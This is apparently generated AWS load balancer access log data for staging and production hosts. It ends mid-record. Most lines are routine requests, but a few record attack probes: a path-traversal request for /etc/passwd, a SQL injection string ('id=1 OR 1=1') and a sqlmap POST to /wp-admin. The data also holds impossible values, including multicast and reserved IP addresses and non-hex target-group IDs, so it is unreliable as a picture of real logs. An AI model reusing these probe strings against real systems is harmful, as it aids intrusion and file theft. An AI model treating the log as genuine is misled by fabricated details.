2024-11-01T02:38:31.494652Z "forward" "-" "-" "10.0.200.146:443" "404" "-" "-" -http 2024-11-01T02:38:32.667966Z staging-alb 96.76.183.241:52888 63.150.191.16:443 0.035884 0.152532 0.099450 200 200 765 651 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcb8-8e505458a3904b30a6d29a04" "staging-alb.example.com" "-" 10 2024-11-01T02:38:32.667966Z "forward" "-" "-" "63.150.191.16:443" "200" "-" "-" -https 2024-11-01T02:38:33.290121Z prod-api-alb 241.99.230.149:63849 10.0.149.163:443 0.002524 0.306873 0.059567 302 302 732 14915 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcb9-cd8f8b46050a47648df97180" "prod-api-alb.example.com" "-" 5 2024-11-01T02:38:33.290121Z "forward" "-" "-" "10.0.149.163:443" "302" "-" "-" -https 2024-11-01T02:38:34.890695Z staging-alb 172.24.156.77:10875 114.226.116.245:80 0.009233 0.013382 0.017681 200 200 224 1137 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcba-4f060d64ea464b1197f41c8e" "staging-alb.example.com" "-" 5 2024-11-01T02:38:34.890695Z "forward" "-" "-" "114.226.116.245:80" "200" "-" "-" -https 2024-11-01T02:38:35.094295Z prod-web-alb 82.221.64.171:32856 10.0.70.27:443 0.064179 0.358493 0.075683 302 302 200 7578 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcbb-adeb633f8b1145c1b9dff004" "prod-web-alb.example.com" "-" 4 2024-11-01T02:38:35.094295Z "forward" "-" "-" "10.0.70.27:443" "302" "-" "-" -https 2024-11-01T02:38:37.086746Z prod-api-alb 33.30.203.5:13184 10.0.244.81:443 0.068195 0.075313 0.043702 302 302 475 2620 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcbd-e392e6e0edd84d8c852d8319" "prod-api-alb.example.com" "-" 6 2024-11-01T02:38:37.086746Z "forward" "-" "-" "10.0.244.81:443" "302" "-" "-" -https 2024-11-01T02:38:37.560555Z staging-alb 117.118.228.255:26579 61.240.168.152:443 0.098177 0.741999 0.119393 301 301 591 8622 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcbd-0051feab0a4446bfb9cb9f8e" "staging-alb.example.com" "-" 1 2024-11-01T02:38:37.560555Z "forward" "-" "-" "61.240.168.152:443" "301" "-" "-" -http 2024-11-01T02:38:39.135226Z staging-alb 51.191.117.41:48579 109.113.149.71:443 0.146478 0.502289 0.042356 404 404 586 3185 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcbf-d9f68701c6c14a7e9247c435" "staging-alb.example.com" "-" 4 2024-11-01T02:38:39.135226Z "forward" "-" "-" "109.113.149.71:443" "404" "-" "-" -https 2024-11-01T02:38:40.540055Z prod-web-alb 174.180.151.244:49442 10.0.181.228:443 0.028055 0.216365 0.001950 404 404 527 11687 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcc0-5667aaf4a22046eab5ef0b74" "prod-web-alb.example.com" "-" 0 2024-11-01T02:38:40.540055Z "forward" "-" "-" "10.0.181.228:443" "404" "-" "-" -https 2024-11-01T02:38:42.536807Z prod-web-alb 26.98.14.163:57294 10.0.80.55:443 0.062680 0.370669 0.014135 200 200 447 11897 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcc2-b23bf89e9eef4896a0108f54" "prod-web-alb.example.com" "-" 1 2024-11-01T02:38:42.536807Z "forward" "-" "-" "10.0.80.55:443" "200" "-" "-" -https 2024-11-01T02:38:43.254430Z prod-web-alb 128.215.189.254:38417 10.0.195.212:443 0.053310 0.429385 0.071090 200 200 686 7207 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcc3-6b2d71e8f37846259168c4ad" "prod-web-alb.example.com" "-" 2 2024-11-01T02:38:43.254430Z "forward" "-" "-" "10.0.195.212:443" "200" "-" "-" -https 2024-11-01T02:38:45.227345Z prod-api-alb 40.155.34.97:45094 10.0.242.153:443 0.038617 0.301299 0.067337 200 200 594 8220 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcc5-2caeb4b3eb66440c8116d8a1" "prod-api-alb.example.com" "-" 4 2024-11-01T02:38:45.227345Z "forward" "-" "-" "10.0.242.153:443" "200" "-" "-" -http 2024-11-01T02:38:46.453378Z staging-alb 254.70.178.81:11119 144.2.252.173:8080 0.133530 0.145758 0.099617 200 200 168 4124 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcc6-553155c570c044d781d30d36" "staging-alb.example.com" "-" 5 2024-11-01T02:38:46.453378Z "forward" "-" "-" "144.2.252.173:8080" "200" "-" "-" -https 2024-11-01T02:38:47.372401Z prod-web-alb 243.174.158.66:56842 10.0.114.212:443 0.043924 0.371499 0.042154 200 200 917 3283 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcc7-9b55005f533848b1b9b52da8" "-" "-" 6 2024-11-01T02:38:47.372401Z "forward" "-" "-" "10.0.114.212:443" "200" "-" "-" -https 2024-11-01T02:38:49.058725Z prod-web-alb 157.140.215.187:23936 10.0.77.73:443 0.082847 0.012428 0.008377 302 302 20 7892 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcc9-a35f01612b7a419a921ce08c" "prod-web-alb.example.com" "-" 9 2024-11-01T02:38:49.058725Z "forward" "-" "-" "10.0.77.73:443" "302" "-" "-" -http 2024-11-01T02:38:50.689083Z staging-alb 89.200.47.56:10137 47.60.195.235:80 0.042235 0.324586 0.114791 200 200 828 11746 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcca-adb8aba7abc642b2ab53daeb" "staging-alb.example.com" "-" 0 2024-11-01T02:38:50.689083Z "forward" "-" "-" "47.60.195.235:80" "200" "-" "-" -http 2024-11-01T02:38:50.976681Z staging-alb 201.20.240.110:40460 234.213.52.172:443 0.051613 0.599876 0.136619 200 200 336 12731 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcca-7662a06b09684b5c81ad81df" "staging-alb.example.com" "-" 6 2024-11-01T02:38:50.976681Z "forward" "-" "-" "234.213.52.172:443" "200" "-" "-" -http 2024-11-01T02:38:52.334792Z staging-alb 127.141.16.177:24440 207.17.10.194:8080 0.089114 0.282239 0.040970 200 200 506 2801 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dccc-ae8e7d20895d45d0a26bd07d" "staging-alb.example.com" "-" 5 2024-11-01T02:38:52.334792Z "forward" "-" "-" "207.17.10.194:8080" "200" "-" "-" -https 2024-11-01T02:38:53.402508Z prod-web-alb 125.210.229.215:59562 10.0.129.21:443 0.025894 0.161206 0.063198 302 302 760 6930 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dccd-38672e6cbc3741d48e48823b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:38:53.402508Z "forward" "-" "-" "10.0.129.21:443" "302" "-" "-" -https 2024-11-01T02:38:53.779882Z prod-web-alb 255.94.47.240:13008 10.0.224.6:443 0.087306 0.311618 0.031593 200 200 91 9131 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dccd-1eec75f4bfeb4b94b2fd7326" "prod-web-alb.example.com" "-" 2 2024-11-01T02:38:53.779882Z "forward" "-" "-" "10.0.224.6:443" "200" "-" "-" -https 2024-11-01T02:38:55.698191Z prod-web-alb 45.155.205.194:11519 10.0.78.150:443 0.012336 0.173164 0.088202 404 404 881 13935 "GET /../../../etc/passwd HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dccf-20a318638d804cdfa824db61" "-" "-" 6 2024-11-01T02:38:55.698191Z "forward" "-" "-" "10.0.78.150:443" "404" "-" "-" -https 2024-11-01T02:38:55.873310Z prod-api-alb 210.249.162.4:14769 10.0.114.120:443 0.023169 0.245312 0.076486 404 404 362 4469 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dccf-6bc74a0f754e434da4f7cd2f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:38:55.873310Z "forward" "-" "-" "10.0.114.120:443" "404" "-" "-" -https 2024-11-01T02:38:57.160153Z prod-api-alb 101.136.24.165:38473 10.0.210.59:443 0.081167 0.104864 0.021729 200 200 36 9883 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcd1-1119c957ef08418c89d56628" "prod-api-alb.example.com" "-" 8 2024-11-01T02:38:57.160153Z "forward" "-" "-" "10.0.210.59:443" "200" "-" "-" -https 2024-11-01T02:38:58.873959Z prod-web-alb 80.13.84.203:25784 10.0.179.128:443 0.005058 0.388008 0.079679 404 404 891 5874 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcd2-2bb91d53077244eb8424960a" "prod-web-alb.example.com" "-" 9 2024-11-01T02:38:58.873959Z "forward" "-" "-" "10.0.179.128:443" "404" "-" "-" -https 2024-11-01T02:39:00.784634Z prod-api-alb 185.181.184.201:37317 10.0.146.98:443 0.021494 0.339059 0.081899 403 403 302 3358 "POST /users?id=1 OR 1=1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcd4-8ba32f8d03c44984be92f5ca" "-" "-" 2 2024-11-01T02:39:00.784634Z "forward" "-" "-" "10.0.146.98:443" "403" "-" "-" -https 2024-11-01T02:39:02.612212Z prod-web-alb 22.155.147.80:56601 10.0.245.105:443 0.083853 0.314697 0.014455 404 404 411 8969 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcd6-95a915fc705d4fb1afe05a87" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:02.612212Z "forward" "-" "-" "10.0.245.105:443" "404" "-" "-" -https 2024-11-01T02:39:03.236427Z prod-web-alb 59.231.109.1:17021 10.0.3.179:443 0.077466 0.193970 0.091528 200 200 537 11309 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcd7-80dcdf8af714409580129d57" "prod-web-alb.example.com" "-" 4 2024-11-01T02:39:03.236427Z "forward" "-" "-" "10.0.3.179:443" "200" "-" "-" -https 2024-11-01T02:39:05.105029Z prod-web-alb 182.140.175.238:36074 10.0.190.224:443 0.044183 0.339671 0.075650 302 302 939 7491 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcd9-bfdbc91ffca648e28578beb4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:39:05.105029Z "forward" "-" "-" "10.0.190.224:443" "302" "-" "-" -http 2024-11-01T02:39:06.974676Z staging-alb 163.152.104.233:12146 210.158.42.184:443 0.045497 0.279944 0.143721 200 200 665 13889 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcda-b3f7bc3a142f44559e135fd6" "staging-alb.example.com" "-" 2 2024-11-01T02:39:06.974676Z "forward" "-" "-" "210.158.42.184:443" "200" "-" "-" -https 2024-11-01T02:39:07.630972Z staging-alb 161.136.109.74:20610 130.125.167.58:8080 0.088665 0.558683 0.071462 301 301 253 5886 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcdb-628169c312ad4a9a96c478ac" "staging-alb.example.com" "-" 7 2024-11-01T02:39:07.630972Z "forward" "-" "-" "130.125.167.58:8080" "301" "-" "-" -https 2024-11-01T02:39:09.391588Z staging-alb 161.41.231.152:45455 228.210.10.113:443 0.143948 0.328663 0.019323 200 200 96 4077 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcdd-fc837150e14d455ea3665ef9" "staging-alb.example.com" "-" 0 2024-11-01T02:39:09.391588Z "forward" "-" "-" "228.210.10.113:443" "200" "-" "-" -https 2024-11-01T02:39:10.139572Z prod-web-alb 52.50.139.148:11314 10.0.157.62:443 0.098334 0.229038 0.028259 200 200 133 2233 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcde-b11b3f05ba5a4d008e352a89" "prod-web-alb.example.com" "-" 5 2024-11-01T02:39:10.139572Z "forward" "-" "-" "10.0.157.62:443" "200" "-" "-" -http 2024-11-01T02:39:10.387474Z staging-alb 36.5.123.41:52991 254.42.167.44:8080 0.063453 0.562076 0.145109 200 200 922 11414 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcde-803983fdf3c741d3ba71a1f0" "staging-alb.example.com" "-" 0 2024-11-01T02:39:10.387474Z "forward" "-" "-" "254.42.167.44:8080" "200" "-" "-" -https 2024-11-01T02:39:10.735762Z prod-api-alb 209.67.122.124:38826 10.0.72.160:443 0.063024 0.218920 0.025510 200 200 232 7570 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcde-4d053f355cfb484990550484" "prod-api-alb.example.com" "-" 3 2024-11-01T02:39:10.735762Z "forward" "-" "-" "10.0.72.160:443" "200" "-" "-" -http 2024-11-01T02:39:12.617799Z staging-alb 241.184.249.111:61700 138.30.43.86:80 0.128964 0.664762 0.143014 200 200 96 9326 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dce0-983f726c04d94a089026c316" "staging-alb.example.com" "-" 2 2024-11-01T02:39:12.617799Z "forward" "-" "-" "138.30.43.86:80" "200" "-" "-" -https 2024-11-01T02:39:13.526807Z prod-web-alb 189.56.116.92:61263 10.0.196.57:443 0.084988 0.328705 0.053289 200 200 126 13105 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dce1-dc226c6f41f14eb790506081" "prod-web-alb.example.com" "-" 3 2024-11-01T02:39:13.526807Z "forward" "-" "-" "10.0.196.57:443" "200" "-" "-" -https 2024-11-01T02:39:14.984279Z prod-api-alb 38.113.135.135:17370 10.0.191.219:443 0.024016 0.213100 0.093132 301 301 773 8313 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dce2-dd493dd1644f4926b2b952d2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:39:14.984279Z "forward" "-" "-" "10.0.191.219:443" "301" "-" "-" -https 2024-11-01T02:39:15.195398Z prod-api-alb 185.29.74.160:60774 10.0.25.227:443 0.092488 0.325106 0.042353 302 302 43 11616 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dce3-1191b4703e9b40238f4d0dc3" "prod-api-alb.example.com" "-" 3 2024-11-01T02:39:15.195398Z "forward" "-" "-" "10.0.25.227:443" "302" "-" "-" -http 2024-11-01T02:39:16.803314Z staging-alb 92.51.4.143:55718 170.182.217.211:8080 0.069458 0.214591 0.112553 302 302 59 12712 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dce4-f8e6b63919ef4858b2874226" "staging-alb.example.com" "-" 10 2024-11-01T02:39:16.803314Z "forward" "-" "-" "170.182.217.211:8080" "302" "-" "-" -https 2024-11-01T02:39:17.129124Z prod-api-alb 31.115.122.94:22810 10.0.55.12:443 0.011517 0.049051 0.080547 200 200 941 3502 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dce5-794e423159334c20ac129452" "prod-api-alb.example.com" "-" 4 2024-11-01T02:39:17.129124Z "forward" "-" "-" "10.0.55.12:443" "200" "-" "-" -http 2024-11-01T02:39:18.529628Z staging-alb 246.57.213.224:64196 114.108.148.5:80 0.031915 0.079743 0.044399 200 200 394 2949 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dce6-8c10a1da3c544dc29559f6e0" "staging-alb.example.com" "-" 0 2024-11-01T02:39:18.529628Z "forward" "-" "-" "114.108.148.5:80" "200" "-" "-" -https 2024-11-01T02:39:20.090157Z prod-api-alb 234.80.90.135:50259 10.0.112.206:443 0.053172 0.139144 0.018320 404 404 741 12443 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dce8-16be6924f23a4d3bb6797510" "prod-api-alb.example.com" "-" 4 2024-11-01T02:39:20.090157Z "forward" "-" "-" "10.0.112.206:443" "404" "-" "-" -https 2024-11-01T02:39:21.000454Z prod-web-alb 192.91.252.166:57067 10.0.98.155:443 0.034255 0.459373 0.094215 301 301 204 9196 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dce9-0738ea29fc93423cba72135c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:21.000454Z "forward" "-" "-" "10.0.98.155:443" "301" "-" "-" -https 2024-11-01T02:39:21.556779Z prod-api-alb 99.168.201.28:12007 10.0.220.107:443 0.045157 0.140426 0.079005 301 301 196 3503 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dce9-b79df8d631aa4d7ea18c6a06" "prod-api-alb.example.com" "-" 7 2024-11-01T02:39:21.556779Z "forward" "-" "-" "10.0.220.107:443" "301" "-" "-" -http 2024-11-01T02:39:22.918387Z staging-alb 206.253.199.236:19929 31.100.230.64:443 0.105598 0.406370 0.042764 404 404 203 8723 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcea-76420cdf365a4f47b5a0601d" "staging-alb.example.com" "-" 8 2024-11-01T02:39:22.918387Z "forward" "-" "-" "31.100.230.64:443" "404" "-" "-" -https 2024-11-01T02:39:24.063976Z prod-web-alb 45.155.205.9:14825 10.0.134.207:443 0.073891 0.004998 0.063261 401 401 40 2796 "POST /wp-admin HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcec-c3c104c3cc2646f09d2e2ac0" "-" "-" 4 2024-11-01T02:39:24.063976Z "forward" "-" "-" "10.0.134.207:443" "401" "-" "-" -https 2024-11-01T02:39:25.426703Z staging-alb 201.27.9.218:35070 125.159.106.172:80 0.087866 0.489771 0.008806 200 200 426 6904 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dced-45f2012b5876449cb86fdb33" "staging-alb.example.com" "-" 1 2024-11-01T02:39:25.426703Z "forward" "-" "-" "125.159.106.172:80" "200" "-" "-" -https 2024-11-01T02:39:26.205378Z prod-web-alb 73.6.147.25:35987 10.0.135.123:443 0.079942 0.448799 0.080808 200 200 320 13202 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcee-7fabe335724c435c9daae7ae" "prod-web-alb.example.com" "-" 2 2024-11-01T02:39:26.205378Z "forward" "-" "-" "10.0.135.123:443" "200" "-" "-" -https 2024-11-01T02:39:27.387613Z prod-web-alb 173.32.46.235:32350 10.0.110.152:443 0.046248 0.382429 0.045240 200 200 6 8970 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" 